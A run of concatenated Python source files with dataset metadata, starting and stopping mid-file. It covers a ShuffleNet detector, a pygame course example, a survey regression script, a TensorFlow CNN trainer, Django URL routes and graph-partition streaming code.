fill_fc_weights(fc)\n self.__setattr__(head, fc)\n\n def forward(self, x):\n x = self.first_conv(x)\n x = self.maxpool(x)\n x = self.shuff_1(x)\n x = self.shuff_2(x)\n x = self.shuff_3(x)\n x = self.shuff_4(x)\n x = self.shuff_5(x)\n x = self.shuff_6(x)\n x = self.shuff_7(x)\n x = self.shuff_8(x)\n x = self.shuff_9(x)\n x = self.shuff_10(x)\n x = self.shuff_11(x)\n x = self.shuff_12(x)\n x = self.shuff_13(x)\n x = self.shuff_14(x)\n x = self.shuff_15(x)\n x= self.shuff_16(x)\n # x = self.conv_last(x)\n x = self.conv_compress(x)\n # \n x = self.duc1(x)\n x = self.duc2(x)\n x = self.duc3(x)\n\n z = {}\n for head in self.heads:\n z[head] = self.__getattr__(head)(x)\n if 'hm' in head and not self.training:\n z[head] = F.sigmoid(z[head])\n return [z]\n\n \n def _initialize_weights(self):\n for name, m in self.named_modules():\n if isinstance(m, nn.Conv2d):\n if 'first' in name:\n nn.init.normal_(m.weight, 0, 0.01)\n else:\n nn.init.normal_(m.weight, 0, 1.0 / m.weight.shape[1])\n if m.bias is not None:\n nn.init.constant_(m.bias, 0)\n elif isinstance(m, nn.BatchNorm2d):\n nn.init.constant_(m.weight, 1)\n if m.bias is not None:\n nn.init.constant_(m.bias, 0.0001)\n nn.init.constant_(m.running_mean, 0)\n elif isinstance(m, nn.BatchNorm1d):\n nn.init.constant_(m.weight, 1)\n if m.bias is not None:\n nn.init.constant_(m.bias, 0.0001)\n nn.init.constant_(m.running_mean, 0)\n elif isinstance(m, nn.Linear):\n nn.init.normal_(m.weight, 0, 0.01)\n if m.bias is not None:\n nn.init.constant_(m.bias, 0)\n\nimport time\nif __name__ == \"__main__\":\n \n model = ShuffleNetV2().cuda()\n model.eval()\n test_data = torch.rand(1, 3, 640, 640).cuda()\n for i in range(15):\n t = time.time()\n test_outputs = model(test_data) #, test_data_2]\n t2 = time.time()\n print(t2 -t)\n t = t2\n","sub_path":"model/detnet25.py","file_name":"detnet25.py","file_ext":"py","file_size_in_byte":13452,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"366328905","text":"# spots_game.py\n#\n# ICS 32A Fall 2019\n# Code Example\n#\n# This module implements the \"view\" for our Spots game. The job of a\n# view is to focus on how the game looks and feels -- how it's drawn and\n# how the user interacts with it -- while ignoring the details about the\n# game's mechanics. It's not uncommon for the view to hold a reference\n# back to the model, which we're doing here. As the user does things,\n# they'll generate events in the view, which will then be sent to the\n# model as higher-level operations that affect the game's mechanics.\n#\n# Note, too, that we've taken a keener eye toward the design of this\n# example, by doing a couple of additional things:\n#\n# * We implemented our game in a class, rather than in a function. This\n# gives us a natural way to break it up into many functions, while\n# still preserving their ability to share the important information\n# between them (in the form of the \"self\" parameter that they all\n# share).\n#\n# * We broke up our game loop into calls to methods in this class. This\n# took what would have been a long, complex method and made it much\n# shorter. By giving names to these \"helper\" methods, we've made\n# clearer the pattern that shows up in our design. Going forward,\n# if we were to add new features, they would have a place where they\n# belong. For example, new user inputs would be dealt with in\n# _handle_events; changes to how things are drawn would be dealt with\n# in _redraw; and so on.\n\nimport pygame\nimport spots\n\n\nclass SpotsGame:\n def __init__(self):\n self._running = True\n self._state = spots.SpotsState()\n\n def run(self) -> None:\n pygame.init()\n\n self._resize_surface((600, 600))\n\n clock = pygame.time.Clock()\n\n while self._running:\n clock.tick(30)\n self._handle_events()\n self._redraw()\n\n pygame.quit()\n\n def _handle_events(self) -> None:\n for event in pygame.event.get():\n if event.type == pygame.QUIT:\n self._end_game()\n elif event.type == pygame.VIDEORESIZE:\n self._resize_surface(event.size)\n elif event.type == pygame.MOUSEBUTTONDOWN:\n self._on_mouse_button(event.pos)\n\n self._move_spots()\n\n def _redraw(self) -> None:\n surface = pygame.display.get_surface()\n\n surface.fill(pygame.Color(255, 255, 0))\n self._draw_spots()\n\n pygame.display.flip()\n\n def _draw_spots(self) -> None:\n for spot in self._state.all_spots():\n self._draw_spot(spot)\n\n def _draw_spot(self, spot: spots.Spot) -> None:\n frac_x, frac_y = spot.center()\n\n topleft_frac_x = frac_x - spot.radius()\n topleft_frac_y = frac_y - spot.radius()\n\n frac_width = spot.radius() * 2\n frac_height = spot.radius() * 2\n\n surface = pygame.display.get_surface()\n width = surface.get_width()\n height = surface.get_height()\n\n topleft_pixel_x = topleft_frac_x * width\n topleft_pixel_y = topleft_frac_y * height\n\n pixel_width = frac_width * width\n pixel_height = frac_height * height\n\n pygame.draw.ellipse(\n surface, pygame.Color(0, 0, 0),\n pygame.Rect(\n topleft_pixel_x, topleft_pixel_y,\n pixel_width, pixel_height))\n\n def _end_game(self) -> None:\n self._running = False\n\n def _resize_surface(self, size: (int, int)) -> None:\n pygame.display.set_mode(size, pygame.RESIZABLE)\n\n def _on_mouse_button(self, pos: (int, int)) -> None:\n surface = pygame.display.get_surface()\n width = surface.get_width()\n height = surface.get_height()\n\n pixel_x, pixel_y = pos\n\n frac_x = pixel_x / width\n frac_y = pixel_y / height\n\n self._state.handle_click((frac_x, frac_y))\n\n def _move_spots(self) -> None:\n self._state.move_all_spots()\n\n\nif __name__ == '__main__':\n SpotsGame().run()\n","sub_path":"projects/project_5/src/inclass_test/spots_view.py","file_name":"spots_view.py","file_ext":"py","file_size_in_byte":3988,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"568523346","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Wed Mar 21 16:24:10 2018\n\n@author: Sian JM Brooke\n\"\"\"\n\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Wed Mar 21 15:11:21 2018\n\n@author: Sian JM Brooke\n\"\"\"\n\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Wed Mar 21 10:25:55 2018\n\n@author: Sian JM Brooke\n\"\"\"\n\nimport pandas as pd\nimport numpy as np\n\nimport statsmodels.formula.api as smf\nimport seaborn as sns\n\nimport seaborn as sns; sns.set()\nsns.set(font_scale=2)\nsns.palplot(sns.color_palette(\"Set1\", n_colors=2))\n\nsns.set_style(\"whitegrid\")\n\nplt.figure(figsize=(8, 8), dpi=80)\n\n\n\ndictlabels_2 = {\n 'StartDate':\"Survey Start Date\",\n 'Gender': \"Gender\",\n 'Age': \"Age\",\n 'Education': \"Eduational Atainment\",\n 'Twitter_Gender': \"Percieved Gender Balance of Twitter\\n[0:All Female 10:All Male]\",\n 'Reddit_Gender':\"Percieved Gender Balance of Reddit\\n[0:All Female 10:All Male]\",\n 'chan_Gender':\"Percieved Gender Balance of 4chan\\n[0:All Female 10:All Male]\",\n 'Twitter_Help Offering': \"Percieved Gender in Offering Technical Knowledge on Twitter\\n[0:Female 10:Male]\",\n 'Twitter_Help_Seeking': \"Percieved Gender in Seeking Technical Knowledge on Twiiter\\n[0:Female 10:Male]\",\n 'Reddit_Help_Offering':\"Percieved Gender in Offering Technical Knowledge on Reddit\\n[0:Female 10:Male]\",\n 'Reddit_Help_Seeking': \"Percieved Gender in Seeking Technical Knowledge on Reddit\\n[0:Female 10:Male]\",\n 'chan_Help_Offering':\"Percieved Gender in Offering Technical Knowledge on 4chan\\n[0:Female 10:Male]\",\n 'chan_Help_Seeking': \"Percieved Gender in Seeking Technical Knowledge on 4chan\\n[0:Female 10:Male]\",\n 'Twitter_Hostility': \"Percieved Hostility of Twiiter\\n[0:Friendly 10:Hostile]\",\n 'Reddit_Hostility': \"Percieved Hostility of Reddit\\n[0:Friendly 10:Hostile]\",\n 'chan_Hostility':\"Percieved Hostility of 4chan\\n[0:Friendly 10:Hostile]\",\n 'Twitter_Screen':\"Twitter Screen\",\n 'Reddit_Screen': \"Reddit Screen\",\n 'chan_Screen': \"4chan Screen\",\n 'Screen': \"Overall Screen\",\n 'ASI_Score': \"ASI: Hostility Score [0-5]\",\n 'ATM_Score': \"ATM: Hostility Score [0-5]\",\n 'Site_Hostility_Avg.': \"Average Hostility Rating Across All Sites [0-5]\",\n 'Site_Gender_Avg.':\"Average Perception of Gender Balance [0:All Female 1:All Male]\",\n 'Site_Help_Seeking_Gender_Avg.': \"Average Percieved Gender in Offering Technical Knowledge\\n[0:Female 10:Male]\",\n 'Site_Help_Offering_Gender_Avg.': \"Average Percieved Gender in Seeking Technical Knowledge\\n[0:Female 10:Male]\",\n 'Sexism': \"Overall Sexism Score [ASI and ATM]\"\n }\n\ndf_used = WebGenderHostility_df.copy()\n\n\ndf_used.columns = df_used.columns.str.replace(\" \", \"_\")\ndf_used[\"chan_Gender\"] = df_used[\"4chan_Gender\"]\ndf_used[\"chan_Hostility\"] = df_used[\"4chan_Hostility\"]\ndf_used[\"chan_Help_Seeking\"] = df_used[\"4chan_Help_Seeking\"]\ndf_used[\"chan_Help_Offering\"] = df_used[\"4chan_Help_Offering\"]\n#Columns starting with a number fucks the inputted formula\n\n##NOTE: Run wrangling.py and cubic_interpolation.py before running this\n\n\npredictor = \"Sexism\"\nresponse = \"Twitter_Help_Offering\"\ninteraction = \"Gender\" #in this column male = 1 & female = 0\n\ndf_used = df_used.loc[(df_used['Gender'] == \"Male\") | (df_used['Gender'] == \"Female\")] \ndf_used[\"Gender\"] = df_used[\"Gender\"].map({\"Female\": 0, \"Male\": 1})\n\n\n\n#define the feature set - i.e. predictors\n\ndf_used[[predictor, response, interaction]].head()\n\n\n\n###***INTERACTION Term for both! - i.e. let slop be difference\n\n\n\npredictor_linspace = np.linspace(df_used[predictor].min(), df_used[predictor].max(), df_used[predictor].count())\n\nformula_2 = response + \" ~ \" + \"C(\" + interaction + \") * \" + predictor\nest_2 = smf.ols(formula=formula_2, data=df_used).fit()\n\nest_2 = est_2.get_robustcov_results(cov_type='HC0')\n\n#plt.plot(predictor_linspace, est_2.params[0] + est_2.params[1] * 0 + est_2.params[2] * predictor_linspace + est_2.params[3] * 0 * predictor_linspace, 'r')\n#\n#plt.plot(predictor_linspace, est_2.params[0] + est_2.params[1] * 1 + est_2.params[2] * predictor_linspace + est_2.params[3] * 1 * predictor_linspace, 'b')\n#\nprint(est_2.summary())\n#\n##jitter(df_used[predictor], df_used[response])\n#\n#plt.xlabel(dictlabels_2[predictor])\n#\n#plt.ylabel(dictlabels_2[response])\n#axes = plt.gca()\n#axes.set_xlim([0,10])\n#axes.set_ylim([0,10])","sub_path":"Main_effects - Interaction on Gender.py","file_name":"Main_effects - Interaction on Gender.py","file_ext":"py","file_size_in_byte":4376,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"282158810","text":"#!usr/bin/env python\n# -*- coding:utf-8 _*-\n\"\"\"\n@author:jerry\n@file: read_db.py\n@time: 2019/06/18\n\"\"\"\n\nimport json\nfrom student_pb2 import Student\n\n\ndef get_students():\n \"\"\"Reads the route guide database.\n\n Returns:\n The full contents of the route guide database as a sequence of\n route_guide_pb2.Features.\n \"\"\"\n student_list = []\n with open(\"db.json\") as db:\n for item in json.load(db):\n student = Student(id=item[\"id\"],\n name=item[\"name\"],\n age=item[\"age\"],\n score=item[\"score\"])\n student_list.append(student)\n return student_list\n\n\n\n","sub_path":"read_db.py","file_name":"read_db.py","file_ext":"py","file_size_in_byte":674,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"84122418","text":"import numpy as np\r\nimport pandas as pd\r\nimport tensorflow as tf\r\nimport tensorflow.contrib.slim as slim\r\nfrom sklearn.model_selection import train_test_split\r\nimport os\r\nfrom datetime import datetime\r\nimport cv2\r\nimport cnn_model\r\nimport data_manipulation\r\n\r\nFILEPATH = '' # File path should be given here.\r\n\r\nMODEL_DIRECTORY = \"model/model.ckpt\"\r\nLOGS_DIRECTORY = \"logs/train\"\r\n\r\n# Parameters\r\ntraining_epochs = 50\r\nTRAIN_BATCH_SIZE = 128\r\ndisplay_step = 100\r\nTEST_BATCH_SIZE = 128\r\n\r\ndef read_data():\r\n images = []\r\n for filename in os.listdir(FILEPATH):\r\n img = cv2.imread(os.path.join(FILEPATH, filename))\r\n if img is not None:\r\n # For labelling manually.\r\n # cv2.imshow(\"Frame\", img)\r\n # cv2.waitKey(0)\r\n images.append(img)\r\n return images\r\n\r\ndef read_labels():\r\n data = pd.read_csv(FILEPATH + 'Labels.csv')\r\n X = data.iloc[0:, 1].values\r\n label_list = X\r\n return label_list\r\n\r\ndef split_dataset(X, y):\r\n X_train, X_test, y_train, y_test = train_test_split(X, y, test_size=0.25, random_state=0)\r\n return X_train, X_test, y_train, y_test\r\n\r\ndef train(f_maps, conv_stride, maxp_stride, training_epochs):\r\n batch_size = TRAIN_BATCH_SIZE\r\n num_labels = 5\r\n\r\n data = read_data()\r\n labels = read_labels()\r\n\r\n print('Applying contrast streching manipulation...')\r\n contrasted_data, contrasted_labels = data_manipulation.apply_contrast(data, labels)\r\n contrasted_data = np.asarray(contrasted_data)\r\n print('Size of contrasted data: %d' % len(contrasted_data))\r\n print('Shape of contrasted data: %s' % str(contrasted_data.shape))\r\n\r\n print('Applying rotation manipulation...')\r\n rotated_data, rotated_labels = data_manipulation.apply_rotation(contrasted_data, labels)\r\n rotated_data = np.asarray(rotated_data)\r\n print('Size of rotated data: %d' % len(rotated_data))\r\n print('Shape of rotated data: %s' % str(rotated_data.shape))\r\n\r\n print('Applying shifting manipulation...')\r\n shifted_data, shifted_labels = data_manipulation.apply_shifting(contrasted_data, labels)\r\n shifted_data = np.asarray(shifted_data)\r\n print('Size of shifted data: %d' % len(shifted_data))\r\n print('Shape of shifted data: %s' % str(shifted_data.shape))\r\n\r\n print('Applying flipping manipulation...')\r\n flipped_data, flipped_labels = data_manipulation.apply_horizontal_flip(contrasted_data, labels)\r\n flipped_data = np.asarray(flipped_data)\r\n print('Size of flipped data: %d' % len(flipped_data))\r\n print('Shape of flipped data: %s' % str(flipped_data.shape))\r\n\r\n print('Concatenating manipulated data')\r\n concat_data = np.concatenate((rotated_data, contrasted_data, flipped_data, shifted_data), axis=0)\r\n print(\"Size of total data: %s\" % str(len(concat_data)))\r\n\r\n print(\"Size of labels: %s\" % str(len(labels)))\r\n from sklearn.preprocessing import LabelBinarizer\r\n le = LabelBinarizer()\r\n encoded_labels = le.fit_transform(labels)\r\n\r\n concat_data = np.asarray(concat_data)\r\n print(\"Shape of data: %s\" % str(concat_data.shape))\r\n concat_data = concat_data.reshape(-1, 4800)\r\n\r\n print(\"Size of encoded labels: %s\" % str(encoded_labels))\r\n\r\n X_train, X_test, y_train, y_test = split_dataset(concat_data, encoded_labels[:len(concat_data)])\r\n print(\"Size of data: %s\" % str(X_train.shape))\r\n print(\"Length of data: %s\" % str(len(X_train)))\r\n print(\"Size of labels: %s\" % str(y_train.shape))\r\n print(\"Length of labels: %s\" % str(len(y_train)))\r\n total_train_data = np.concatenate((X_train, y_train), axis=1)\r\n print(\"Size of total data: %s\" % str(total_train_data.shape))\r\n train_size = total_train_data.shape[0]\r\n validation_data = X_test\r\n validation_labels = y_test\r\n\r\n is_training = tf.placeholder(tf.bool, name='MODE')\r\n\r\n # Tensorflow variables should be initialized.\r\n x = tf.placeholder(tf.float32, [None, 4800])\r\n y_ = tf.placeholder(tf.float32, [None, 5])\r\n\r\n y = cnn_model.CNN(x, feature_maps=f_maps, conv_stride=conv_stride, maxp_stride=maxp_stride)\r\n\r\n with tf.name_scope(\"LOSS\"):\r\n loss = slim.losses.softmax_cross_entropy(y, y_)\r\n\r\n tf.summary.scalar('loss', loss)\r\n\r\n with tf.name_scope(\"ADAM\"):\r\n batch = tf.Variable(0)\r\n\r\n learning_rate = tf.train.exponential_decay(1e-4, batch * batch_size, train_size, 0.95, staircase=True)\r\n train_step = tf.train.AdamOptimizer(learning_rate).minimize(loss, global_step=batch)\r\n\r\n tf.summary.scalar('learning_rate', learning_rate)\r\n\r\n with tf.name_scope(\"ACC\"):\r\n correct_prediction = tf.equal(tf.argmax(y, 1), tf.argmax(y_, 1))\r\n accuracy = tf.reduce_mean(tf.cast(correct_prediction, tf.float32))\r\n\r\n tf.summary.scalar('acc', accuracy)\r\n merged_summary_op = tf.summary.merge_all()\r\n\r\n saver = tf.train.Saver()\r\n\r\n sess = tf.InteractiveSession()\r\n sess.run(tf.global_variables_initializer(), feed_dict={is_training: True})\r\n\r\n total_batch = int(train_size / batch_size)\r\n\r\n # Writing a log file is optional\r\n summary_writer = tf.summary.FileWriter(LOGS_DIRECTORY, graph=tf.get_default_graph())\r\n\r\n for epoch in range(training_epochs):\r\n np.random.shuffle(total_train_data)\r\n train_data_ = total_train_data[:, :-num_labels]\r\n train_labels_ = total_train_data[:, -num_labels:]\r\n\r\n for i in range(total_batch):\r\n offset = (i * batch_size) % train_size\r\n batch_xs = train_data_[offset:(offset + batch_size), :]\r\n batch_ys = train_labels_[offset:(offset + batch_size), :]\r\n\r\n _, train_accuracy, summary = sess.run([train_step, accuracy, merged_summary_op],\r\n feed_dict={x: batch_xs, y_: batch_ys, is_training: True})\r\n\r\n # Optional\r\n summary_writer.add_summary(summary, epoch * total_batch + i)\r\n\r\n if i % display_step == 0:\r\n format_str = '%s: step %d, accuracy = %.3f'\r\n print(format_str % (datetime.now(), (epoch+1), train_accuracy))\r\n\r\n saver.save(sess, MODEL_DIRECTORY)\r\n\r\n test_size = validation_labels.shape[0]\r\n batch_size = TEST_BATCH_SIZE\r\n total_batch = int(test_size / batch_size)\r\n\r\n saver.restore(sess, MODEL_DIRECTORY)\r\n\r\n acc_buffer = []\r\n\r\n for i in range(total_batch):\r\n offset = (i * batch_size) % test_size\r\n batch_xs = validation_data[offset:(offset + batch_size), :]\r\n batch_ys = validation_labels[offset:(offset + batch_size), :]\r\n\r\n y_final = sess.run(y, feed_dict={x: batch_xs, y_: batch_ys, is_training: False})\r\n correct_prediction = np.equal(np.argmax(y_final, 1), np.argmax(batch_ys, 1))\r\n acc_buffer.append(np.sum(correct_prediction) / batch_size)\r\n\r\n print(\"Test accuracy for this model: %g\" % np.mean(acc_buffer))\r\n\r\n\r\ndef main():\r\n train(64, [5, 5], [2, 2], training_epochs)\r\n\r\nif __name__ == '__main__':\r\n main()\r\n","sub_path":"Senior Design Project/cnn.py","file_name":"cnn.py","file_ext":"py","file_size_in_byte":6938,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"376346515","text":"from django.conf.urls import url, include\nfrom django.contrib import admin\nfrom customers import views\nfrom customers.views import *\nfrom django.contrib.auth.views import logout\nfrom django.contrib.auth import views as auth_views\nfrom django.urls import path\nfrom rest_framework.urlpatterns import format_suffix_patterns\n\nurlpatterns = [\n url(r'^$', views.landing, name='landing'),\n url(r'^order_page/$', views.order_page, name='order_page'),\n url(r'^help/$', views.help, name='help'),\n url(r'^checkout/$', views.checkout, name='checkout'),\n url(r'^family_business/$', views.family_business, name='family_business'),\n url(r'^about_us/$', views.about_us, name='about_us'),\n url(r'^contacts/$', views.contacts, name='contacts'),\n url(r'^add_customer/$', add_customer, name='add_customer'),\n url(r'^add_phone/$', add_phone, name='add_phone'),\n url(r'^add_all/$', add_all, name='add_all'),\n url(r'^add_business_types/$', add_business_types, name='add_business_types'),\n url(r'^check_input/$', check_input, name='check_input'),\n url(r'^products/(?P\\w+)/$', views.products_all, name='products_all'),\n # url(r'^products/(?P\\w+)/$', views.product_main, name='product_main'),\n url(r'^products/(?P\\w+)/(?P\\w+)/$', views.product_type, name='product_type'),\n url(r'^get_product_info/$', get_product_info, name='get_product_info'),\n url(r'^get_product_mains/$', get_product_mains, name='get_product_mains'),\n url(r'^get_products_amount/$', get_products_amount, name='get_products_amount'),\n url(r'^get_product_additional_info/$', get_product_additional_info, name='get_product_additional_info'),\n url(r'^send_form_data/$', send_form_data, name='send_form_data'),\n url(r'^send_form_data_accessories/$', send_form_data_accessories, name='send_form_data_accessories'),\n url(r'^send_form_data_basket/$', send_form_data_basket, name='send_form_data_basket'),\n url(r'^send_comment/$', send_comment, name='send_comment'),\n url(r'^add_search_results/$', add_search_results, name='add_search_results'),\n\n\n\n # url(r'^all_customers/', views.CustomersList.as_view()),\n]\n\nurlpatterns = format_suffix_patterns(urlpatterns)","sub_path":"customers/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":2236,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"536499203","text":"\nimport os\n\nfrom partition_baseline_support import load_graph\n\ndef load_graph_parts(input_filename, args):\n true_partition_available = True\n if not os.path.isfile(input_filename + '.tsv') and not os.path.isfile(input_filename + '_1.tsv'):\n print(\"File doesn't exist: '{}'!\".format(input_filename))\n sys.exit(1)\n\n if args.parts >= 1:\n print('\\nLoading partition 1 of {} ({}) ...'.format(args.parts, input_filename + \"_1.tsv\"))\n out_neighbors, in_neighbors, N, E, true_partition = load_graph(input_filename, load_true_partition=true_partition_available, strm_piece_num=1)\n for part in range(2, args.parts + 1):\n print('Loading partition {} of {} ({}) ...'.format(part, args.parts, input_filename + \"_\" + str(part) + \".tsv\"))\n out_neighbors, in_neighbors, N, E = load_graph(input_filename, load_true_partition=False, strm_piece_num=part, out_neighbors=out_neighbors, in_neighbors=in_neighbors)\n else:\n if true_partition_available:\n out_neighbors, in_neighbors, N, E, true_partition = load_graph(input_filename, load_true_partition=true_partition_available)\n else:\n out_neighbors, in_neighbors, N, E = load_graph(input_filename, load_true_partition=true_partition_available)\n true_partition = None\n\n return out_neighbors, in_neighbors, N, E, true_partition\n\n\ndef naive_streaming(args):\n input_filename = args.input_filename\n # Emerging edge piece by piece streaming.\n # The assumption is that unlike parallel decimation, where a static graph is cut into\n # multiple subgraphs which do not have the same nodes, the same node set is potentially\n # present in each piece.\n #\n out_neighbors,in_neighbors = None,None\n t_all_parts = 0.0\n\n for part in range(1, args.parts + 1):\n print('Loading partition {} of {} ({}) ...'.format(part, args.parts, input_filename + \"_\" + str(part) + \".tsv\"))\n t_part = 0.0\n\n if part == 1:\n out_neighbors, in_neighbors, N, E, true_partition = \\\n load_graph(input_filename,\n load_true_partition=1,\n strm_piece_num=part,\n out_neighbors=None,\n in_neighbors=None)\n else:\n out_neighbors, in_neighbors, N, E = \\\n load_graph(input_filename,\n load_true_partition=0,\n strm_piece_num=part,\n out_neighbors=out_neighbors,\n in_neighbors=in_neighbors)\n\n # Run to ground.\n print('Running partition for part %d N %d E %d' % (part,N,E))\n\n t0 = timeit.default_timer()\n t_elapsed_partition,partition = partition_static_graph(out_neighbors, in_neighbors, N, E, true_partition, args, stop_at_bracket = 0, alg_state = None)\n t1 = timeit.default_timer()\n t_part += (t1 - t0)\n t_all_parts += t_part\n\n if part == args.parts:\n print('Evaluate final partition.')\n else:\n print('Evaluate part %d' % part)\n\n precision,recall = evaluate_partition(true_partition, partition)\n print('Elapsed compute time for part %d is %f cumulative %f precision %f recall %f' % (part,t_part,t_all_parts,precision,recall))\n\n return t_all_parts\n\n\ndef copy_alg_state(alg_state):\n # Create a deep copy of algorithmic state.\n (hist, num_blocks, overall_entropy, partition, interblock_edge_count,block_degrees_out,block_degrees_in,block_degrees,golden_ratio_bracket_established,delta_entropy_threshold,num_blocks_to_merge,optimal_num_blocks_found,n_proposals_evaluated,total_num_nodal_moves) = alg_state\n\n (old_partition, old_interblock_edge_count, old_block_degrees, old_block_degrees_out, old_block_degrees_in, old_overall_entropy, old_num_blocks) = hist\n\n hist_copy = tuple((i.copy() for i in hist))\n try:\n num_blocks_copy = num_blocks.copy()\n except AttributeError:\n num_blocks_copy = num_blocks\n overall_entropy_copy = overall_entropy.copy()\n partition_copy = partition.copy()\n interblock_edge_count_copy = interblock_edge_count.copy()\n block_degrees_out_copy = block_degrees_out.copy()\n block_degrees_in_copy = block_degrees_in.copy()\n block_degrees_copy = block_degrees.copy()\n golden_ratio_bracket_established_copy = golden_ratio_bracket_established # bool\n delta_entropy_threshold_copy = delta_entropy_threshold # float\n num_blocks_to_merge_copy = num_blocks_to_merge # int\n optimal_num_blocks_found_copy = optimal_num_blocks_found # bool\n n_proposals_evaluated_copy = n_proposals_evaluated # int\n total_num_nodal_moves_copy = total_num_nodal_moves # int\n\n\n alg_state_copy = (hist_copy, num_blocks_copy, overall_entropy_copy, partition_copy, interblock_edge_count_copy, block_degrees_out_copy, block_degrees_in_copy, block_degrees_copy, golden_ratio_bracket_established_copy, delta_entropy_threshold_copy, num_blocks_to_merge_copy, optimal_num_blocks_found_copy, n_proposals_evaluated_copy, total_num_nodal_moves_copy)\n\n return alg_state_copy\n\n\ndef incremental_streaming(args):\n input_filename = args.input_filename\n # Emerging edge piece by piece streaming.\n # The assumption is that unlike parallel decimation, where a static graph is cut into\n # multiple subgraphs which do not have the same nodes, the same node set is potentially\n # present in each piece.\n #\n out_neighbors,in_neighbors,alg_state = None,None,None\n t_all_parts = 0.0\n\n for part in range(1, args.parts + 1):\n t_part = 0.0\n\n if part == 1:\n print('Loading partition {} of {} ({}) ...'.format(part, args.parts, input_filename + \"_\" + str(part) + \".tsv\"))\n\n out_neighbors, in_neighbors, N, E, true_partition = \\\n load_graph(input_filename,\n load_true_partition=1,\n strm_piece_num=part,\n out_neighbors=None,\n in_neighbors=None)\n min_number_blocks = N / 2\n else:\n # Load true_partition here so the sizes of the arrays all equal N.\n if alg_state:\n print('Loading partition {} of {} ({}) ...'.format(part, args.parts, input_filename + \"_\" + str(part) + \".tsv\"))\n\n out_neighbors, in_neighbors, N, E, alg_state,t_compute = \\\n load_graph(input_filename,\n load_true_partition=1,\n strm_piece_num=part,\n out_neighbors=out_neighbors,\n in_neighbors=in_neighbors,\n alg_state = alg_state)\n t_part += t_compute\n print(\"Intermediate load_graph compute time for part %d is %f\" % (part,t_compute))\n t0 = timeit.default_timer()\n hist = alg_state[0]\n (old_partition, old_interblock_edge_count, old_block_degrees, old_block_degrees_out, old_block_degrees_in, old_overall_entropy, old_num_blocks) = hist\n\n print(\"Incrementally updated alg_state for part %d\" %(part))\n print('New Overall entropy: {}'.format(old_overall_entropy))\n print('New Number of blocks: {}'.format(old_num_blocks))\n print(\"\")\n\n verbose = 1\n n_thread = args.threads\n batch_size = args.node_move_update_batch_size\n vertex_num_in_neighbor_edges = np.empty(N, dtype=int)\n vertex_num_out_neighbor_edges = np.empty(N, dtype=int)\n vertex_num_neighbor_edges = np.empty(N, dtype=int)\n vertex_neighbors = [np.concatenate((out_neighbors[i], in_neighbors[i])) for i in range(N)]\n\n for i in range(N):\n vertex_num_out_neighbor_edges[i] = sum(out_neighbors[i][:,1])\n vertex_num_in_neighbor_edges[i] = sum(in_neighbors[i][:,1])\n vertex_num_neighbor_edges[i] = vertex_num_out_neighbor_edges[i] + vertex_num_in_neighbor_edges[i]\n #delta_entropy_threshold = delta_entropy_threshold1 = 5e-4\n delta_entropy_threshold = 1e-4\n\n for j in [0,2,1]:\n if old_interblock_edge_count[j] == []:\n continue\n\n print(\"Updating previous state in bracket history.\")\n\n M_old = old_interblock_edge_count[j].copy()\n M = old_interblock_edge_count[j]\n partition = old_partition[j]\n block_degrees_out = old_block_degrees_out[j]\n block_degrees_in = old_block_degrees_in[j]\n block_degrees = old_block_degrees[j]\n num_blocks = old_num_blocks[j]\n overall_entropy = old_overall_entropy[j]\n\n total_num_nodal_moves_itr = nodal_moves_parallel(n_thread, batch_size, args.max_num_nodal_itr, args.delta_entropy_moving_avg_window, delta_entropy_threshold, overall_entropy, partition, M, block_degrees_out, block_degrees_in, block_degrees, num_blocks, out_neighbors, in_neighbors, N, vertex_num_out_neighbor_edges, vertex_num_in_neighbor_edges, vertex_num_neighbor_edges, vertex_neighbors, verbose, args)\n\n t1 = timeit.default_timer()\n print(\"Intermediate nodal move time for part %d is %f\" % (part,(t1-t0)))\n t_part += (t1 - t0)\n else:\n # We are not doing partitioning yet. Just wait.\n out_neighbors, in_neighbors, N, E, true_partition = \\\n load_graph(input_filename,\n load_true_partition=1,\n strm_piece_num=part,\n out_neighbors=out_neighbors,\n in_neighbors=in_neighbors,\n alg_state = None)\n\n print(\"Loaded piece %d N %d E %d\" % (part,N,E))\n min_number_blocks = int(min_number_blocks / 2)\n\n print('Running partition for part %d N %d E %d and min_number_blocks %d' % (part,N,E,min_number_blocks))\n\n t0 = timeit.default_timer()\n t_elapsed_partition,partition,alg_state = partition_static_graph(out_neighbors, in_neighbors, N, E, true_partition, args, stop_at_bracket = 1, alg_state = alg_state, min_number_blocks = min_number_blocks)\n min_number_blocks /= 2\n\n alg_state_copy = copy_alg_state(alg_state)\n t1 = timeit.default_timer()\n t_part += (t1 - t0)\n print(\"Intermediate partition until save point for part %d is %f\" % (part,(t1-t0)))\n\n t0 = timeit.default_timer()\n t_elapsed_partition,partition = partition_static_graph(out_neighbors, in_neighbors, N, E, true_partition, args, stop_at_bracket = 0, alg_state = alg_state_copy, min_number_blocks = 5)\n t1 = timeit.default_timer()\n t_part += (t1 - t0)\n print(\"Intermediate partition until completion for part %d is %f\" % (part,(t1-t0)))\n\n print('Evaluate part %d' % (part))\n precision,recall = evaluate_partition(true_partition, partition)\n\n t_all_parts += t_part\n print('Elapsed compute time for part %d is %f cumulative %f precision %f recall %f' % (part,t_part,t_all_parts,precision,recall))\n\n return t_all_parts\n","sub_path":"StochasticBlockPartition/code/python/streaming.py","file_name":"streaming.py","file_ext":"py","file_size_in_byte":11853,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"225532855","text":"if write:\n\n\timport os\t\n\timport re\n\timport datetime\n\timport time\n\t\n\ta = []\n\t\n\tfor table_path in table_paths:\n\t #print os.path.basename(table_path)\n\t if os.path.exists(table_path):\n\t table_replace(model_path, table_path)\n\t else:\n\t a.append('Could not find {}'.format(os.path.basename(table_path)))\n\t\ndef table_replace(model_path, 